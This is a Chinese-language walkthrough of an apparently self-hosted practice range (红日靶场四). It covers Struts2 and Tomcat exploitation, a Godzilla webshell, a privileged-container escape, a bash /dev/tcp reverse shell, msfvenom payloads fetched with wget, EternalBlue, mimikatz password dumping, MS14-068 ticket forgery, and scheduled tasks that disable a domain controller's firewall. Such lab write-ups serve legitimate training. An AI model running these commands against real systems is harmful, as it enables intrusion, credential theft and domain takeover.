Bootstrap

红日靶场四

IP地址:

Kali:192.168.1.13

Ubuntu:192.168.1.9     192.168.183.8

Win7:192.168.183.9

DC:192.168.183.130

先进入ubuntu启动web,开启3个环境

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

sudo docker-compose up -d


目录

一、攻击Web服务器

1、访问2001端口

 2、访问2002端口

 3、docker逃逸

 二、永恒之蓝攻击Win7

1、永恒之蓝漏洞渗透

2、mimikatz抓取密码

三、域横向移动,获得域控权限

1、生成高权限票据

2、在kali里面生成木马,获取DC权限

3、通过计划任务执行木马和关闭防火墙的批处理文件

​4、用mimikatz工具抓取密码

5、开启远程桌面,远程登陆域控


一、攻击Web服务器

首先用kali nmap扫描发现目标主机192.168.1.9

对目标主机进行端口扫描,发现2001、2002、2003三个特征端口

nmap -sS -T4 192.168.1.9 

1、访问2001端口

 首先在浏览器中访问2001端口,发现是struts2的框架,是一个上传界面,我们先随便上传一个文件,上传之后发现后缀是.action的。

使用struts2漏洞工具探测一下,这里发现存在S2-045、S2-046两个漏洞 

http://192.168.1.9:2001/doUpload.action

查看一下/etc/hosts(主机名查询),发现是172开头的,172开头的可能就是在docker中

用命令 cat /proc/1/cgroup进行判断,确定是在docker中

攻击机开启对本地端口8888的监听,利用漏洞执行反弹shell的命令,拿到shell

bash -i >& /dev/tcp/192.168.1.11/8888 0>&1

 我们需要进行docker逃逸,可以通过privileged特权模式启动容器, 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,我们用fidsk -l查看一下挂载盘,发现没有挂载盘。

不管它了,看看下一个端口。。。

 2、访问2002端口

查看下一个2002端口,发现是一个apache tomcat8.5.19

我们知道这个版本CVE-2017-12615 Tomcat存在远程代码执行漏洞,可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

打开burpsuite抓包

 这里我们使用哥斯拉工具,点击管理-添加-生成所需的webshell,生成时需要记住自己的生成配置,连接的时候还要用。

 生成木马文件

修改成为PUT,PUT /mm.jsp/ HTTP/1.1,将木马复制进去

 在浏览器进行访问,发现上传成功

 在godzilla的目标中点击添加刚刚上传的木马进行连接

 成功连接,选中shell右键选择进入即可进入shell管理界面。

 这里我们就可以执行命令,ls可查看

 也发现了docker,可以进行docker逃逸

 3、docker逃逸

可以通过privileged特权模式启动容器, 当控制使用特权模式启动的容器时,我们可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限。

我们再次用fidsk -l查看一下挂载盘

sda1盘疑似挂载于宿主机上,利用mount指令将sda1盘挂载在我们创建的目录上

mkdir jq

mount /dev/sda1 jq

挂载成功,我们此时可以查看、修改宿主机的某些文件了

 

因为可以对文件进行修改,所有我们可以在相同版本的ununtu中新建用户,将passwd和shadow里面的用户信息复制到/jq/etc/passwd和/jq/etc/shadow文件中,这样就知道了ubuntu的密码,可以远程登陆。

wjq:x:1001:1001:wjq,,,:/home/ubuntu:/bin/bash

wjq:$6$MvPDPIm0$XH6cMGkTVGbD.c68MWR82paPe1OXF9D/fdLHE2PjqJx7UaK2zP2jaYMYQlHSmi8IXpSAsa/q4xgA9VQ1f9eQK/:19164:0:99999:7:::

 

修改/etc/sudoers文件,给新用户权限A,允许用户使用sudo命令进行提权

 这个时候就可以在kali中用ssh服务登陆ubuntu

 因为不允许root用户远程登陆,所有我们用普通用户登录 然后提权sudo i -->root,这个时候我们就有了ubuntu的root权限

 我们在kali中生成一个msf木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=9998 -f elf > shell.elf

 在kali本地起一个http服务,python3 -m http.server 6789

下载shell.elf并赋权执行

 wget http://192.168.1.13:6789/shell.elf

这个时候文件是没有执行权限的,我们要给这个文件修改权限

chmod 777 shell.elf

msf进行监听

use exploit/multi/handler 

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.1.13

run

 执行木马,成功收到会话

 二、永恒之蓝攻击Win7

shell –t进入,ifconfig查看发现还有一个192.168.183.8的网卡

上传fscan工具进行主机存活探测

 同样这里也要给上传的工具修改权限

使用这个工具对192.168.183.0网段进行主机存活探测

发现了两台主机,192.168.183.9和192.168.183.130,并且他们都开启了445端口,可能存在ms17_010永恒之蓝漏洞,接下来我们就针对永恒之蓝漏洞进行渗透

1、永恒之蓝漏洞渗透

由于在kali无法直接对该网段进行访问,此时我们在ubuntu中添加183.0网段的路由

开启设置socks代理

在kali中自带代理的模块,此时对代理的配置文件进行修改,与msf中开启的代理模块的信息匹配一致

 

 

让msf走代理

永恒之蓝漏洞渗透

search ms17_010

use 0

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.183.9

show options

run

我们发现192.168.183.9这台主机渗透成功,获得win7权限,192.168.183.130没有成功,说明它没有永恒之蓝漏洞Shell进入chcp 65001 解决编码问题

这里我们信息收集,systeminfo 看系统信息,64位系统

net view 看一下有哪些用户,发现了两台主机的名称

ipconfig /all     发现DNS server-->192.168.183.130

cd /Users/douser/Desktop/

2、mimikatz抓取密码

使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取

use incognito

impersonate_token "NT AUTHORITY\SYSTEM"

运行mimikatz.exe

首先需要提权:privilege::debug然后抓取明文密码:sekurlsa::logonPasswords

三、域横向移动,获得域控权限

这里得到域成员账号密码douser/Dotest123,既然是域成员,我们就想办法通过这台域成员主机来获得域控的权限

我们再次用systeminfo查看一下系统信息,看一看他打了哪些补丁

这里我们没有发现KB3011780的漏洞补丁,该漏洞允许攻击者将域内任意用户权限提升至域管理级别。也就是说如果攻击者获取了域内任何一台计算机的S权限,同时知道任意域用户的用户名、SD、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。

用net use命令把DC的C盘映射,发现权限不够

1、生成高权限票据

MS14-068.exe -u 域成set员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

 我们先把其他的低权限票据清除

kerberos::purge,当看到"Ticket(s) purge for current session is OK'时,表示清除成功

然后用mimikatz这个工具把刚刚生成的高权限票据注入内存,出现OK就是注入成功

kerberos::ptc "[email protected]"

这个时候就有权限了,我们把DC的C盘映射出来,建立映射之后,我们是可以往DC里面传文件的

2、在kali里面生成木马,获取DC权限

使用msfvenom生成一个正向木马

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.13 LPORT=3331 -f exe > 3331.exe

我们把这个木马文件用upload上传到WIN7上面,在copy到DC里面

dir \\WIN-ENS2VR5TR3N\c$

这里我们经过多次测试,发现在执行文件的时候,执行的都是WIN7的,经过一系列测试,我们找到了一种方法,就是把这个程序加入计划任务,让计划任务来执行它,就可以了
msf开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set RHOST 192.168.183.130

set LPORT 3331

这里我创建了一个关闭防火墙的文件,因为我在执行这个木马的时候,在DC上面开启了一个正向连接的端口,但是流量过不来,是防火墙给拦截了,所以这里想办法关闭防火墙,所以我在本机又写了一个关闭防火墙的批处理文件,上传上去,同样的加入计划任务

将这个1.bat文件复制到DC中

copy 1.bat \\WIN-ENS2VR5TR3N\c$

3、通过计划任务执行木马和关闭防火墙的批处理文件

schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR C:\1.bat /SC MINUTE /MO 1 /ru system /RP

 schtasks /create /S WIN-ENS2VR5TR3N /TN "test2" /TR C:\3331.exe /SC MINUTE /MO 1 /ru system /f /RP

 查看一下计划任务,发现两个任务都在执行中

schtasks /s WIN-ENS2VR5TR3N

 在监听界面等待30秒后,发现接听到会话,成功拿到权限

这里我们信息收集,查看系统信息

查看主机,一共两台主机,发现没有其他的域成员机

4、用mimikatz工具抓取密码

上传猕猴桃工具到DC中

copy mimikatz.exe \\WIN-ENS2VR5TR3N\c$\Users\Administrator\Desktop\mimikatz.exe

mimikatz抓取密码

sekurlsa::logonpasswords   这通常显示最近登录的用户和计算机凭据,此命令需要提升的权限(通过以前运行privilege::debug 或通过将 Mimikatz 作为 NT-AUTHORITY\SYSTEM 帐户执行)。

5、开启远程桌面,远程登陆域控

meterpreter支持开启远程桌面,这时我们查看发现3389端口远程桌面已经开启

run post/windows/manage/enable_rdp

这里我们尝试一下连接,因为kali和DC不在同一个网段,所以我们需要上全局代理,登陆远程桌面。

Proxychains rdesktop 192.168.183.130

到这里,就拿下了内网域控的权限,也就可以管理域内的所有用户

嘿嘿,请多指教!

;